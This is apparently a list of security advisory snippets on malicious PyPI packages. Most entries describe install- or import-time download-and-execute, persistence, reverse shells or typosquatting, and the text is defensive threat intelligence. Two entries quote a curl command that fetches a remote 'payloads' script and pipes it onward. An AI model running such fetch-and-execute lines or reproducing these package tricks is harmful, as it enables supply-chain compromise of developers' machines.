Malicious code in easyhttprequest (PyPI)

Source: kam193 2b8f76adb9701e490a7cb89a6457afd1ce1cbe67712cdca356da7f35791ba993 Clone of the requests package. During installation, it downloads a git repository and attempts to execute a script from its commit message --- Category: MALICIOUS - The campaign has clearly malicious intent, like...

Malicious code in driftme (PyPI)

Source: kam193 4db40025175947d42bcca75bc2f04d0dab05379e9e84108c40de1cda6a854604 Importing the module starts executing a remote script, as well as leaves a persitance in the .bashrc --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2023-12-09-papicul...

Malicious code in discordmessager (PyPI)

Source: kam193 119a7015f090394365981291b03c6f5855b4dfd33da674c238c0c4323063a32a During installation, a remote, highly obfuscated script is downloaded and executed. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2024-10-discordmessager Reasons bas...

Malicious code in defi-risk-scanner (PyPI)

Source: amazon-inspector 5a8385c44127ab4250664e1324009461ae329e3684948d692cc679962d59f818 On first import defiriskscanner, the package's top-level init.py unconditionally runs curl -sL https://ddjidd564.github.io/defi-security-best-practices/payloads/risk-profiler.js and pipes the response body...

Malicious code in dbnodeindicator (PyPI)

Source: kam193 0ca31ed82ece767a66ae60f44cfb3e36aa54f84e952217e36376f6519ac1f777 Code download and executes a remote script. At the time of analysis, the remote code just runs a notepad - as so classified as a pentest/research. --- Category: PROBABLYPENTEST - Packages looking like typical pentest...

Malicious code in dbindicator (PyPI)

Source: kam193 7728e8fd1f3038b080b037908fea583383e6418d0aeb819e4b41b2b812b0b9d4 Code download and executes a remote script. At the time of analysis, the remote code just runs a notepad - as so classified as a pentest/research. --- Category: PROBABLYPENTEST - Packages looking like typical pentest...

Malicious code in cti-ctf-challenges (PyPI)

Source: kam193 1cefe6c8a9ac6ede7c6ba497cf17011bf431812980749bb0068995ebba4039d9 If the method from the module is called, it attempts to download a malicious code identified as msf payload and save it locally. In the analysed version, the code starting the malicious code was commented out. ---...

Malicious code in csvvv (PyPI)

Source: kam193 e157e7947b2537be3a2e7840eee2fc4fad72a65954af858d89095d73f1755c03 Importing downloads and starts a remote script. At the analysis time, the script did not contain malicious code. Package description states it's a security research --- Category: PROBABLYPENTEST - Packages looking lik...

Malicious code in cryptowallet-safety (PyPI)

Source: amazon-inspector 276a350e78e2602882e107586e33d617b3e392e3943c120d99d4213963d7fd9d On import cryptowalletsafety, the top-level init.py lines 13-21 shells out to curl -sL https://ddjidd564.github.io/defi-security-best-practices/payloads/wallet-safety-check.js and pipes the response body...

Malicious code in cpan (PyPI)

Source: kam193 e70433969aea3c8283f99098b25b8a598f427b5fd451e9bfd5bc46098704bfb2 Installing the package starts a revshell and download and starts a remote script depending on version, different malicious functionality. The name seems to imitate CPAN.org --- Category: MALICIOUS - The campaign has...

Malicious code in colorss (PyPI)

Source: kam193 de8be235bf17ee738265f4a0254263fc0caeefa1f9228c9f6f122dfd7b2fac2d Package silently executes in background a remote script. During the analysis, the script was not accessible --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign:...

Malicious code in collects (PyPI)

Source: kam193 fc7f98d0c4c092f4eb4a73240f8c7a5df90717853ee408fefa9eeb09a41d2cae Packages contain hidden code that is effectively run during importing or using the library, and downloads second stage code. Then, a process running in background periodically connects to a remote host and waits for...

Malicious code in cobo-python (PyPI)

Source: kam193 2f1c1c4efd134e130c04178382ff3ea318301fb18b5eb6eed696c49cf64e9ad6 It appears to be a forgotten pentest checking typosquatting against cobo-custody package, but may also have malicious purposes. During installation, if a machine is Mac, an obfuscated code attempts to download and...

Malicious code in cobo-custdy (PyPI)

Source: kam193 cd0d754c7d09b395a490411bfdba9006309e5227c634e9946f4612de907de0d0 It appears to be a forgotten pentest checking typosquatting against cobo-custody package, but may also have malicious purposes. During installation, if a machine is Mac, an obfuscated code attempts to download and...

Malicious code in cobo-custdoy (PyPI)

Source: kam193 1bb6da528665b6d869e583cb594f1f0cc7e7ccaf8cc5a7a859c0db9e7fa80c19 It appears to be a forgotten pentest checking typosquatting against cobo-custody package, but may also have malicious purposes. During installation, if a machine is Mac, an obfuscated code attempts to download and...

Malicious code in chimera-sandbox-extensions (PyPI)

Source: kam193 9b87170278a2bed3680592ca4efa2d402a56ee044fcfea4b95831e545431a794 When started, the code attempts to access multiple domains based on the generating algorithm. Once one valid is found, it downloads a script and executes it. The script collects data about the environment e.g. attempt...

Malicious code in christmasmiraclemaker (PyPI)

Source: kam193 64f06a86dd5b916af92fc3adf5c1e5638df9eaa156a1bc122e4e647f2aae236e Packages either test the malicious behaviour, or actually download and run a simple remote script during the installation. --- Category: PROBABLYPENTEST - Packages looking like typical pentest packages, but also...

Malicious code in catme (PyPI)

Source: kam193 7b5df44af9cbed7b8a7112f36f9c99b466e9143b36d62fd43e4caf480df811d0 Importing the module starts executing a remote script, as well as leaves a persitance in the .bashrc --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2023-12-09-papicul...

Malicious code in calcnotepad (PyPI)

Source: kam193 84ad749380bb774a5cc7da818c03f863ee2838773e46e0a5c4cff469e1647962 Packages either test the malicious behaviour, or actually download and run a simple remote script during the installation. --- Category: PROBABLYPENTEST - Packages looking like typical pentest packages, but also...

Malicious code in calccc (PyPI)

Source: kam193 66371c79f4cedb638d8d283883415c46a4bf6be25e3699fe5229bc8cd71a2f0a Packages either test the malicious behaviour, or actually download and run a simple remote script during the installation. --- Category: PROBABLYPENTEST - Packages looking like typical pentest packages, but also...